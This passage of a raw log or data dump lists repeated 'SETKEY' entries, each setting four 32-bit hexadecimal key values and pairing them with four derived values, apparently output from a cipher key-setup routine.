dwKeys[2] = DCDAA221, dwKeys[3] = F0068824;-[0]=FAE6A57E,[1]=C5FFF7E6,[2]=36A0A942,[3]=9A3F1C00; +SETKEY:dwKeys[0] = AD9E29C0, dwKeys[1] = A462B0AE, dwKeys[2] = 111B4D86, dwKeys[3] = 58F4A5B3;-[0]=97BC5E5A,[1]=A8A50CC2,[2]=5BFA5266,[3]=F765E724; +SETKEY:dwKeys[0] = 370BFC8B, dwKeys[1] = E4EE98FF, dwKeys[2] = B32C7884, dwKeys[3] = 961667FE;-[0]=5EC71673,[1]=61DE44EB,[2]=92811A4F,[3]=3E1EAF0D; +SETKEY:dwKeys[0] = B7040F5A, dwKeys[1] = C1AB19E4, dwKeys[2] = 77096B40, dwKeys[3] = 837E10A6;-[0]=DBEA7A07,[1]=E4F3289F,[2]=17AC763B,[3]=BB33C379; +SETKEY:dwKeys[0] = E6F72F8D, dwKeys[1] = 9A2ED829, dwKeys[2] = C2474A1A, dwKeys[3] = 90FAF7BF;-[0]=3D678AE5,[1]=027ED87D,[2]=F12186D9,[3]=5DBE339B; +SETKEY:dwKeys[0] = A7B05D5A, dwKeys[1] = 5CD2C4ED, dwKeys[2] = 18A40FFB, dwKeys[3] = FE5E6311;-[0]=9D1AE39B,[1]=A203B103,[2]=515CEFA7,[3]=FDC35AE5; +SETKEY:dwKeys[0] = 0BB3EF44, dwKeys[1] = 1968D568, dwKeys[2] = 0B79DED2, dwKeys[3] = 2313EFA8;-[0]=91A51B5C,[1]=AEBC49C4,[2]=5DE31760,[3]=F17CA222; +SETKEY:dwKeys[0] = CC07BC7B, dwKeys[1] = 30B3C3C3, dwKeys[2] = 85209441, dwKeys[3] = BB3F1E05;-[0]=3908B4CB,[1]=0611E653,[2]=F54EB8F7,[3]=59D10DB5; +SETKEY:dwKeys[0] = DE93B7D3, dwKeys[1] = 5B1151A7, dwKeys[2] = 0311F5B0, dwKeys[3] = C7B070C6;-[0]=B584D8A8,[1]=8A9D8A30,[2]=79C2D494,[3]=D55D61D6; +SETKEY:dwKeys[0] = AB09ECB7, dwKeys[1] = E8F02488, dwKeys[2] = 863A18A3, dwKeys[3] = 5AC4017F;-[0]=4BC7366D,[1]=74DE64F5,[2]=87813A51,[3]=2B1E8F13; +SETKEY:dwKeys[0] = 9797465A, dwKeys[1] = 789F9E5E, dwKeys[2] = 2634BF85, dwKeys[3] = EA923F18;-[0]=EFA982A3,[1]=D0B0D03B,[2]=23EF8E9F,[3]=8F703BDD; +SETKEY:dwKeys[0] = D3F74C23, dwKeys[1] = 52951E8C, dwKeys[2] = 348369AD, dwKeys[3] = 0A869435;-[0]=9DC9A034,[1]=A2D0F2AC,[2]=518FAC08,[3]=FD10194A; +SETKEY:dwKeys[0] = 035979EA, dwKeys[1] = BAC96196, dwKeys[2] = 077790E2, dwKeys[3] = E8E50FC5;-[0]=3BEAC49E,[1]=04F39606,[2]=F7ACC8A2,[3]=5B337DE0; +SETKEY:dwKeys[0] = 9D8D43DF, dwKeys[1] = A74A0941, dwKeys[2] = DD6D218D, dwKeys[3] = 6E1F04BF;-[0]=4AF2F8E6,[1]=75EBAA7E,[2]=86B4F4DA,[3]=2A2B4198; +SETKEY:dwKeys[0] = F22E53AA, dwKeys[1] = 129C5A6D, dwKeys[2] = A6DFAB77, dwKeys[3] = 75C653FB;-[0]=1C3C70EF,[1]=23252277,[2]=D07A7CD3,[3]=7CE5C991; +SETKEY:dwKeys[0] = 02EAD774, dwKeys[1] = EDB2CA26, dwKeys[2] = 28D092D7, dwKeys[3] = 0E510894;-[0]=AFF21A08,[1]=90EB4890,[2]=63B41634,[3]=CF2BA376; +SETKEY:dwKeys[0] = 70105D1B, dwKeys[1] = 255182AB, dwKeys[2] = 8FD1445E, dwKeys[3] = 5280C768;-[0]=2C218490,[1]=1338D608,[2]=E06788AC,[3]=4CF83DEE; +SETKEY:dwKeys[0] = F757B0B3, dwKeys[1] = F2DF024C, dwKeys[2] = F6DFB074, dwKeys[3] = 65D8E8C3;-[0]=B5E7ABDE,[1]=8AFEF946,[2]=79A1A7E2,[3]=D53E12A0; +SETKEY:dwKeys[0] = 00A18EE5, dwKeys[1] = 8C4BB29D, dwKeys[2] = 24440BDB, dwKeys[3] = C5A5B410;-[0]=0C838E2E,[1]=339ADCB6,[2]=C0C58212,[3]=6C5A3750; +SETKEY:dwKeys[0] = D2352E73, dwKeys[1] = 9BC3B245, dwKeys[2] = E359B4F7, dwKeys[3] = 1995D7F2;-[0]=B2456A04,[1]=8D5C389C,[2]=7E036638,[3]=D29CD37A; +SETKEY:dwKeys[0] = 69BF6F01, dwKeys[1] = 8938722B, dwKeys[2] = 8F58A160, dwKeys[3] = 5EBA8465;-[0]=C0D06C19,[1]=FFC93E81,[2]=0C966025,[3]=A009D567; +SETKEY:dwKeys[0] = 7203B85C, dwKeys[1] = FE08858D, dwKeys[2] = A6C947DC, dwKeys[3] = 4E1348C6;-[0]=6C301146,[1]=532943DE,[2]=A0761D7A,[3]=0CE9A838; +SETKEY:dwKeys[0] = CFAD57BE, dwKeys[1] = 401A180C, dwKeys[2] = 720485EF, dwKeys[3] = 6304F00A;-[0]=54DA8992,[1]=6BC3DB0A,[2]=989C85AE,[3]=340330EC; +SETKEY:dwKeys[0] = 48436EB4, dwKeys[1] = D7FDE79F, dwKeys[2] = 60CBB60B, dwKeys[3] = 2EC0202E;-[0]=14DE15F8,[1]=2BC74760,[2]=D89819C4,[3]=7407AC86; +SETKEY:dwKeys[0] = E34355D8, dwKeys[1] = D467E769, dwKeys[2] = 2594800C, dwKeys[3] = 53C62605;-[0]=54E83CB2,[1]=6BF16E2A,[2]=98AE308E,[3]=343185CC; +SETKEY:dwKeys[0] = E1903C65, dwKeys[1] = D675A037, dwKeys[2] = 7B1F66A8, dwKeys[3] = DC7471D9;-[0]=ED8A2C04,[1]=D2937E9C,[2]=21CC2038,[3]=8D53957A; +SETKEY:dwKeys[0] = 59634CBC, dwKeys[1] = B9C53D21, dwKeys[2] = 44EE7F57, dwKeys[3] = B467D351;-[0]=39D770B8,[1]=06CE2220,[2]=F5917C84,[3]=590EC9C6; +SETKEY:dwKeys[0] = 27A600CA, dwKeys[1] = 357FA0C8, dwKeys[2] = 0BBD8C5E, dwKeys[3] = B99B7A69;-[0]=23EDD550,[1]=1CF487C8,[2]=EFABD96C,[3]=43346C2E; +SETKEY:dwKeys[0] = E31FBED7, dwKeys[1] = 1E64FADC, dwKeys[2] = C6908EAC, dwKeys[3] = 66A6032C;-[0]=51C5F3CD,[1]=6EDCA155,[2]=9D83FFF1,[3]=311C4AB3; +SETKEY:dwKeys[0] = 308F618E, dwKeys[1] = DC95F0A8, dwKeys[2] = FB4285E8, dwKeys[3] = E260399F;-[0]=45CC0095,[1]=7AD5520D,[2]=898A0CA9,[3]=2515B9EB; +SETKEY:dwKeys[0] = 95EC5BD5, dwKeys[1] = 5A6F3800, dwKeys[2] = 7B6768A8, dwKeys[3] = 104CC8EC;-[0]=02382872,[1]=3D217AEA,[2]=CE7E244E,[3]=62E1910C; +SETKEY:dwKeys[0] = 13069C3B, dwKeys[1] = 7B3E23C7, dwKeys[2] = B7B27F5F, dwKeys[3] = 7E5A3447;-[0]=91A4032D,[1]=AEBD51B5,[2]=5DE20F11,[3]=F17DBA53; +SETKEY:dwKeys[0] = F3874B50, dwKeys[1] = 807F1835, dwKeys[2] = 21AF8AC6, dwKeys[3] = CA9FC610;-[0]=4BDD88D6,[1]=74C4DA4E,[2]=879B84EA,[3]=2B0431A8; +SETKEY:dwKeys[0] = D482085D, dwKeys[1] = 4A8CCB8E, dwKeys[2] = FC5F1B4B, dwKeys[3] = 230ADC09;-[0]=824028C3,[1]=BD597A5B,[2]=4E0624FF,[3]=E29991BD; +SETKEY:dwKeys[0] = 9644766E, dwKeys[1] = E7E7C13A, dwKeys[2] = FD88B190, dwKeys[3] = 221E078E;-[0]=53BD99E1,[1]=6CA4CB79,[2]=9FFB95DD,[3]=3364209F; +SETKEY:dwKeys[0] = 1F9CFE72, dwKeys[1] = A87F323E, dwKeys[2] = F3DA897E, dwKeys[3] = CBED2CDC;-[0]=054017D7,[1]=3A59454F,[2]=C9061BEB,[3]=6599AEA9; +SETKEY:dwKeys[0] = 52F04339, dwKeys[1] = FDD1CA46, dwKeys[2] = 03609CA8, dwKeys[3] = AD7BD9C9;-[0]=BAC99950,[1]=85D0CBC8,[2]=768F956C,[3]=DA10202E; +SETKEY:dwKeys[0] = 4170E712, dwKeys[1] = 2882492C, dwKeys[2] = 55FB054E, dwKeys[3] = 856A91BE;-[0]=E4635013,[1]=DB7A028B,[2]=28255C2F,[3]=84BAE96D; +SETKEY:dwKeys[0] = 1B71FAB8, dwKeys[1] = DCEA89B2, dwKeys[2] = 79C4180F, dwKeys[3] = 43C94375;-[0]=0487FFE7,[1]=3B9EAD7F,[2]=C8C1F3DB,[3]=645E4699; +SETKEY:dwKeys[0] = 4143FCAD, dwKeys[1] = E3157A67, dwKeys[2] = 82E9EB78, dwKeys[3] = CDCA3029;-[0]=18D7D77E,[1]=27CE85E6,[2]=D491DB42,[3]=780E6E00; +SETKEY:dwKeys[0] = 4E7305E3, dwKeys[1] = C4CA23C9, dwKeys[2] = 39DF83F8, dwKeys[3] = 5A4D48FA;-[0]=C7C17F92,[1]=F8D82D0A,[2]=0B8773AE,[3]=A718C6EC; +SETKEY:dwKeys[0] = 29E7F574, dwKeys[1] = DBCFA69E, dwKeys[2] = BA0408D6, dwKeys[3] = 17210622;-[0]=4DA1C945,[1]=72B89BDD,[2]=81E7C579,[3]=2D78703B; +SETKEY:dwKeys[0] = F2FB0655, dwKeys[1] = 791B3236, dwKeys[2] = 9DAD24EA, dwKeys[3] = 18088599;-[0]=24D94C1E,[1]=1BC01E86,[2]=E89F4022,[3]=4400F560; +SETKEY:dwKeys[0] = 8F4E8BB2, dwKeys[1] = 79B4E6FC, dwKeys[2] = 77B498A6, dwKeys[3] = 5D248526;-[0]=BB548099,[1]=844DD201,[2]=77128CA5,[3]=DB8D39E7; +SETKEY:dwKeys[0] = D312E1EB, dwKeys[1] = C7DC76A9, dwKeys[2] = 219F6234, dwKeys[3] = 84B018CE;-[0]=D2623648,[1]=ED7B64D0,[2]=1E243A74,[3]=B2BB8F36; +SETKEY:dwKeys[0] = 8870C8C6, dwKeys[1] = 2FCB20BC, dwKeys[2] = 47518E7F, dwKeys[3] = 717BC506;-[0]=93D601FC,[1]=ACCF5364,[2]=5F900DC0,[3]=F30FB882; +SETKEY:dwKeys[0] = 4B1B8F51, dwKeys[1] = 776A1059, dwKeys[2] = EF7D02B3, dwKeys[3] = CBE3016D;-[0]=F14DC7A8,[1]=CE549530,[2]=3D0BCB94,[3]=91947ED6; +SETKEY:dwKeys[0] = 854AE21A, dwKeys[1] = 9FD3CF05, dwKeys[2] = E9986E39, dwKeys[3] = C69E9CC3;-[0]=4B22D432,[1]=743B86AA,[2]=8764D80E,[3]=2BFB6D4C; +SETKEY:dwKeys[0] = 2C32ADF1, dwKeys[1] = A1A57881, dwKeys[2] = B726D016, dwKeys[3] = 8DB470EE;-[0]=10ADAE32,[1]=2FB4FCAA,[2]=DCEBA20E,[3]=7074174C; +SETKEY:dwKeys[0] = B4BD0711, dwKeys[1] = CCD7FBCB, dwKeys[2] = E86BA468, dwKeys[3] = 9A8F9AE6;-[0]=2A681511,[1]=15714789,[2]=E62E192D,[3]=4AB1AC6F; +SETKEY:dwKeys[0] = 81415924, dwKeys[1] = D3683B4B, dwKeys[2] = 411BE798, dwKeys[3] = 12CCD7CA;-[0]=463DFDF5,[1]=7924AF6D,[2]=8A7BF1C9,[3]=26E4448B; +SETKEY:dwKeys[0] = 3A6C25BC, dwKeys[1] = A27A2C62, dwKeys[2] = AA7D456B, dwKeys[3] = 4DF90281;-[0]=9E6DA92C,[1]=A174FBB4,[2]=522BA510,[3]=FEB41052; +SETKEY:dwKeys[0] = F25A1674, dwKeys[1] = 1EED86B0, dwKeys[2] = 540BDFFD, dwKeys[3] = 64ACDCF9;-[0]=FE711726,[1]=C16845BE,[2]=32371B1A,[3]=9EA8AE58; +SETKEY:dwKeys[0] = 6D007D5C, dwKeys[1] = A3AD6315, dwKeys[2] = 3F8A9C5F, dwKeys[3] = 95EE215D;-[0]=63D3D7F6,[1]=5CCA856E,[2]=AF95DBCA,[3]=030A6E88; +SETKEY:dwKeys[0] = DCA69DBD, dwKeys[1] = ACC04F14, dwKeys[2] = 8976F2C9, dwKeys[3] = 06B82117;-[0]=5933AC73,[1]=662AFEEB,[2]=9575A04F,[3]=39EA150D; +SETKEY:dwKeys[0] = 885B0B30, dwKeys[1] = 9526D1E4, dwKeys[2] = CE70E2D8, dwKeys[3] = D3047017;-[0]=68FBF7F4,[1]=57E2A56C,[2]=A4BDFBC8,[3]=08224E8A; +SETKEY:dwKeys[0] = 6090BAAA, dwKeys[1] = DB3AA279, dwKeys[2] = F5579910, dwKeys[3] = AB43AD88;-[0]=E69C8D86,[1]=D985DF1E,[2]=2ADA81BA,[3]=864534F8; +SETKEY:dwKeys[0] = 6A28504C, dwKeys[1] = 78DD659E, dwKeys[2] = 2275022B, dwKeys[3] = 421CE112;-[0]=22D37550,[1]=1DCA27C8,[2]=EE95796C,[3]=420ACC2E; +SETKEY:dwKeys[0] = 6953808F, dwKeys[1] = 5527DEC9, dwKeys[2] = D8850DF9, dwKeys[3] = 099BCFA0;-[0]=C0FCFC52,[1]=FFE5AECA,[2]=0CBAF06E,[3]=A025452C; +SETKEY:dwKeys[0] = 8290D6C3, dwKeys[1] = 373C7CB5, dwKeys[2] = 1601C791, dwKeys[3] = 7D695B66;-[0]=3BE0B8D6,[1]=04F9EA4E,[2]=F7A6B4EA,[3]=5B3901A8; +SETKEY:dwKeys[0] = 2ABF8737, dwKeys[1] = 3631E493, dwKeys[2] = 50482113, dwKeys[3] = 914EFDBC;-[0]=DD96854F,[1]=E28FD7D7,[2]=11D08973,[3]=BD4F3C31; +SETKEY:dwKeys[0] = 72B2C917, dwKeys[1] = CAF08E08, dwKeys[2] = E9D896BB, dwKeys[3] = 0EEBB2CB;-[0]=D29D3823,[1]=ED846ABB,[2]=1EDB341F,[3]=B244815D; +SETKEY:dwKeys[0] = CA282AD9, dwKeys[1] = D5E4A1D6, dwKeys[2] = 404783F2, dwKeys[3] = 136D4AC8;-[0]=04143CF4,[1]=3B0D6E6C,[2]=C85230C8,[3]=64CD858A; +SETKEY:dwKeys[0] = 2156E143, dwKeys[1] = 003F9160, dwKeys[2] = B4B8CEEA, dwKeys[3] = E0624DBC;-[0]=E8AA0B63,[1]=D7B359FB,[2]=24EC075F,[3]=8873B21D; +SETKEY:dwKeys[0] = 78EC4DDA, dwKeys[1] = 29AED4B5, dwKeys[2] = 8960E972, dwKeys[3] = 36616FEA;-[0]=C546AFDF,[1]=FA5FFD47,[2]=0900A3E3,[3]=A59F16A1; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = CEF6EC72, dwKeys[1] = 7550F4BF, dwKeys[2] = B4A8F71E, dwKeys[3] = FB9275E8;-[0]=EFC6B824,[1]=D0DFEABC,[2]=2380B418,[3]=8F1F015A; +SETKEY:dwKeys[0] = B66EC94F, dwKeys[1] = 257ABD46, dwKeys[2] = C3B72AD5, dwKeys[3] = D1CEA8A5;-[0]=E4F3B07A,[1]=DBEAE2E2,[2]=28B5BC46,[3]=842A0904; +SETKEY:dwKeys[0] = 934D5D6B, dwKeys[1] = 5787684A, dwKeys[2] = E7E9BB5B, dwKeys[3] = D14E0CEB;-[0]=B34AF1F6,[1]=8C53A36E,[2]=7F0CFDCA,[3]=D3934888; +SETKEY:dwKeys[0] = 8172C059, dwKeys[1] = 28AD2F96, dwKeys[2] = 89B56D5D, dwKeys[3] = D8BAB609;-[0]=E3A25438,[1]=DCBB06A0,[2]=2FE45804,[3]=837BED46; +SETKEY:dwKeys[0] = 2A8A8A7B, dwKeys[1] = 6A10156C, dwKeys[2] = 2F260F56, dwKeys[3] = F3F83845;-[0]=CBB8D41D,[1]=F4A18685,[2]=07FED821,[3]=AB616D63; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = EC895343, dwKeys[1] = A2EE7A75, dwKeys[2] = BD97CF3C, dwKeys[3] = CC629FB8;-[0]=4CE2E0B2,[1]=73FBB22A,[2]=80A4EC8E,[3]=2C3B59CC; +SETKEY:dwKeys[0] = 6D00D1AA, dwKeys[1] = EAD076D4, dwKeys[2] = 6FFAFEDF, dwKeys[3] = 9809AAA0;-[0]=81F5EE0B,[1]=BEECBC93,[2]=4DB3E237,[3]=E12C5775; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 6DCA5610, dwKeys[1] = 532BC748, dwKeys[2] = D6D9E801, dwKeys[3] = AE7B21E4;-[0]=A294B5C9,[1]=9D8DE751,[2]=6ED2B9F5,[3]=C24D0CB7; +SETKEY:dwKeys[0] = 3465DE93, dwKeys[1] = 10687959, dwKeys[2] = D7CF071D, dwKeys[3] = 817A6385;-[0]=99C97681,[1]=A6D02419,[2]=558F7ABD,[3]=F910CFFF; +SETKEY:dwKeys[0] = 984D46B5, dwKeys[1] = BE6D42BA, dwKeys[2] = EACB7A29, dwKeys[3] = ADEEDA67;-[0]=09EE5145,[1]=36F703DD,[2]=C5A85D79,[3]=6937E83B; +SETKEY:dwKeys[0] = C698B903, dwKeys[1] = 30F164B0, dwKeys[2] = 354DF3EB, dwKeys[3] = 98440110;-[0]=9C73C761,[1]=A36A95F9,[2]=5035CB5D,[3]=FCAA7E1F; +SETKEY:dwKeys[0] = B6158B5F, dwKeys[1] = B4DBAD4B, dwKeys[2] = A928994D, dwKeys[3] = 62156FEF;-[0]=AB297EA2,[1]=94302C3A,[2]=676F729E,[3]=CBF0C7DC; +SETKEY:dwKeys[0] = 271E25B1, dwKeys[1] = 4FD1B750, dwKeys[2] = 6B7AA9F2, dwKeys[3] = 8BBF5A46;-[0]=D880AE1E,[1]=E799FC86,[2]=14C6A222,[3]=B8591760; +SETKEY:dwKeys[0] = 914F9531, dwKeys[1] = 35E83A8B, dwKeys[2] = 7091C3D7, dwKeys[3] = FDF3AB47;-[0]=E525974A,[1]=DA3CC5D2,[2]=29639B76,[3]=85FC2E34; +SETKEY:dwKeys[0] = 9468649E, dwKeys[1] = 31327233, dwKeys[2] = 3A4B99E7, dwKeys[3] = 44AED01A;-[0]=CC81049F,[1]=F3985607,[2]=00C708A3,[3]=AC58BDE1; +SETKEY:dwKeys[0] = C9CECBB5, dwKeys[1] = 855C3BA5, dwKeys[2] = 2C0C7030, dwKeys[3] = F123AE7F;-[0]=59CB20C1,[1]=66D27259,[2]=958D2CFD,[3]=391299BF; +SETKEY:dwKeys[0] = 8EDBFCE6, dwKeys[1] = E739EF4A, dwKeys[2] = 010F0998, dwKeys[3] = 0D9F9D08;-[0]=0CF73320,[1]=33EE61B8,[2]=C0B13F1C,[3]=6C2E8A5E; +SETKEY:dwKeys[0] = 6B7B9F23, dwKeys[1] = F76628D1, dwKeys[2] = 7958EF28, dwKeys[3] = 27208BDE;-[0]=EE2AB301,[1]=D133E199,[2]=226CBF3D,[3]=8EF30A7F; +SETKEY:dwKeys[0] = F13F58EB, dwKeys[1] = 3B2BA83A, dwKeys[2] = 143E8035, dwKeys[3] = 48FED461;-[0]=0A25D913,[1]=353C8B8B,[2]=C663D52F,[3]=6AFC606D; +SETKEY:dwKeys[0] = 18C74CB5, dwKeys[1] = 57902929, dwKeys[2] = 08FF54AE, dwKeys[3] = 5D3161C0;-[0]=2CCDFE14,[1]=13D4AC8C,[2]=E08BF228,[3]=4C14476A; +SETKEY:dwKeys[0] = 8D300D05, dwKeys[1] = 98CBD7F2, dwKeys[2] = 9D6B2A22, dwKeys[3] = A1C03961;-[0]=5A093C71,[1]=65106EE9,[2]=964F304D,[3]=3AD0850F; +SETKEY:dwKeys[0] = 1CFA3F82, dwKeys[1] = 6F9E275A, dwKeys[2] = A1AE8030, dwKeys[3] = 598916FD;-[0]=BC9CE7E0,[1]=8385B578,[2]=70DAEBDC,[3]=DC455E9E; +SETKEY:dwKeys[0] = 1EE647CB, dwKeys[1] = 69365FC1, dwKeys[2] = EDAE881D, dwKeys[3] = 45F0B3FE;-[0]=4A40CE6C,[1]=75599CF4,[2]=8606C250,[3]=2A997712; +SETKEY:dwKeys[0] = 63DF3D7F, dwKeys[1] = 2A943569, dwKeys[2] = C7D904EC, dwKeys[3] = B8AB2931;-[0]=3067C0FB,[1]=0F7E9263,[2]=FC21CCC7,[3]=50BE7985; +SETKEY:dwKeys[0] = 1D0F2B52, dwKeys[1] = 35BFA4B5, dwKeys[2] = 8EF3B04C, dwKeys[3] = 88B14E6C;-[0]=536183C2,[1]=6C78D15A,[2]=9F278FFE,[3]=33B83ABC; +SETKEY:dwKeys[0] = 181D2C69, dwKeys[1] = E0073281, dwKeys[2] = 428163B6, dwKeys[3] = 0B840FFA;-[0]=C6D82591,[1]=F9C17709,[2]=0A9E29AD,[3]=A6019CEF; +SETKEY:dwKeys[0] = 01A67847, dwKeys[1] = 41453BC0, dwKeys[2] = B678D3ED, dwKeys[3] = 7B8BDA52;-[0]=AD796775,[1]=926035ED,[2]=613F6B49,[3]=CDA0DE0B; +SETKEY:dwKeys[0] = F6D84F74, dwKeys[1] = FBD3BAEB, dwKeys[2] = A2366CBB, dwKeys[3] = AA3B1AEA;-[0]=98121B46,[1]=A70B49DE,[2]=5454177A,[3]=F8CBA238; +SETKEY:dwKeys[0] = 8B43A9A0, dwKeys[1] = 96DAE17F, dwKeys[2] = CAC54357, dwKeys[3] = 6B2D99ED;-[0]=C0ECAF72,[1]=FFF5FDEA,[2]=0CAAA34E,[3]=A035160C; +SETKEY:dwKeys[0] = 4A69EF87, dwKeys[1] = 4A687311, dwKeys[2] = FD352085, dwKeys[3] = D856CA51;-[0]=6662347D,[1]=597B66E5,[2]=AA243841,[3]=06BB8D03; +SETKEY:dwKeys[0] = 8B798DB9, dwKeys[1] = 22547622, dwKeys[2] = F9CF3F8D, dwKeys[3] = 49BFFA8C;-[0]=CC24BC45,[1]=F33DEEDD,[2]=0062B079,[3]=ACFD053B; +SETKEY:dwKeys[0] = 6DF75274, dwKeys[1] = 3BF9CED2, dwKeys[2] = 4C381950, dwKeys[3] = C4FC1C0E;-[0]=79167EF3,[1]=460F2C6B,[2]=B55072CF,[3]=19CFC78D; +SETKEY:dwKeys[0] = F83A1999, dwKeys[1] = 00D3042F, dwKeys[2] = E5C81CFB, dwKeys[3] = 58137610;-[0]=A05A7CD1,[1]=9F432E49,[2]=6C1C70ED,[3]=C083C5AF; +SETKEY:dwKeys[0] = 74641699, dwKeys[1] = 25B1CD94, dwKeys[2] = E61955CE, dwKeys[3] = 0DE557C8;-[0]=77152A57,[1]=480C78CF,[2]=BB53266B,[3]=17CC9329; +SETKEY:dwKeys[0] = ACC7F606, dwKeys[1] = 1FD4A550, dwKeys[2] = 0381A1D8, dwKeys[3] = 6246D0BE;-[0]=84221657,[1]=BB3B44CF,[2]=48641A6B,[3]=E4FBAF29; +SETKEY:dwKeys[0] = 09C7D9A8, dwKeys[1] = 24DB2875, dwKeys[2] = BE55ACE9, dwKeys[3] = 2A5BE021;-[0]=457F1478,[1]=7A6646E0,[2]=89391844,[3]=25A6AD06; +SETKEY:dwKeys[0] = 17A2BC4F, dwKeys[1] = 1FD4067B, dwKeys[2] = 993AC1E1, dwKeys[3] = 39266F57;-[0]=3BBFE773,[1]=04A6B5EB,[2]=F7F9EB4F,[3]=5B665E0D; +SETKEY:dwKeys[0] = BCB8FB1D, dwKeys[1] = 3AE1713E, dwKeys[2] = 23FF5B3C, dwKeys[3] = A156376A;-[0]=3F422076,[1]=005B72EE,[2]=F3042C4A,[3]=5F9B9908; +SETKEY:dwKeys[0] = 180A88FA, dwKeys[1] = CDBC8A02, dwKeys[2] = EE79F942, dwKeys[3] = B4090BEE;-[0]=D6B23711,[1]=E9AB6589,[2]=1AF43B2D,[3]=B66B8E6F; +SETKEY:dwKeys[0] = C3203642, dwKeys[1] = E66F6680, dwKeys[2] = 90A2EB17, dwKeys[3] = 374FAA71;-[0]=3CC46352,[1]=03DD31CA,[2]=F0826F6E,[3]=5C1DDA2C; +SETKEY:dwKeys[0] = C869BEB9, dwKeys[1] = E1C77102, dwKeys[2] = 2F0FD7B5, dwKeys[3] = 4E56C24C;-[0]=B405E7C9,[1]=8B1CB551,[2]=7843EBF5,[3]=D4DC5EB7; +SETKEY:dwKeys[0] = 8C32FF57, dwKeys[1] = 043C12BB, dwKeys[2] = 861C9565, dwKeys[3] = E7EF0FD3;-[0]=811CED8F,[1]=BE05BF17,[2]=4D5AE1B3,[3]=E1C554F1; +SETKEY:dwKeys[0] = 46B2A2C6, dwKeys[1] = 8A699008, dwKeys[2] = 2C0C7729, dwKeys[3] = 7768281C;-[0]=7ACEB4AC,[1]=45D7E634,[2]=B688B890,[3]=1A170DD2; +SETKEY:dwKeys[0] = E0ECEF60, dwKeys[1] = 187D49A7, dwKeys[2] = 73E9C20F, dwKeys[3] = 305644E6;-[0]=475E82DD,[1]=7847D045,[2]=8B188EE1,[3]=27873BA3; +SETKEY:dwKeys[0] = 4799DC5E, dwKeys[1] = B9BE68CC, dwKeys[2] = 4113B749, dwKeys[3] = 5536E987;-[0]=ED4A459A,[1]=D2531702,[2]=210C49A6,[3]=8D93FCE4; +SETKEY:dwKeys[0] = CF924CD8, dwKeys[1] = 05F22009, dwKeys[2] = 921D4898, dwKeys[3] = BAE9BE35;-[0]=0FDC05B7,[1]=30C5572F,[2]=C39A098B,[3]=6F05BCC9; +SETKEY:dwKeys[0] = 70DC2DD5, dwKeys[1] = B7A7A4A7, dwKeys[2] = 5689ABB8, dwKeys[3] = 479C5517;-[0]=D213AFA6,[1]=ED0AFD3E,[2]=1E55A39A,[3]=B2CA16D8; +SETKEY:dwKeys[0] = 74353368, dwKeys[1] = B45CCA92, dwKeys[2] = 46ECCE0F, dwKeys[3] = 31A66BE9;-[0]=5F07D1F9,[1]=601E8361,[2]=9341DDC5,[3]=3FDE6887; +SETKEY:dwKeys[0] = 6E0A0FCB, dwKeys[1] = 90C5D67E, dwKeys[2] = 7297CA4B, dwKeys[3] = 97F3300C;-[0]=6E0C3ACD,[1]=51156855,[2]=A24A36F1,[3]=0ED583B3; +SETKEY:dwKeys[0] = F26F8159, dwKeys[1] = 17B1EB38, dwKeys[2] = 7778324E, dwKeys[3] = 81995EF9;-[0]=0F0AD574,[1]=301387EC,[2]=C34CD948,[3]=6FD36C0A; +SETKEY:dwKeys[0] = 67DDC7F8, dwKeys[1] = CDDE4B5A, dwKeys[2] = C909DA6E, dwKeys[3] = DBE32EE7;-[0]=1F6E055D,[1]=207757C5,[2]=D3280961,[3]=7FB7BC23; +SETKEY:dwKeys[0] = 5D8C34F7, dwKeys[1] = 7E85464E, dwKeys[2] = 56DFF984, dwKeys[3] = 9B863CF0;-[0]=FEFAE04C,[1]=C1E3B2D4,[2]=32BCEC70,[3]=9E235932; +SETKEY:dwKeys[0] = 43F3F53A, dwKeys[1] = 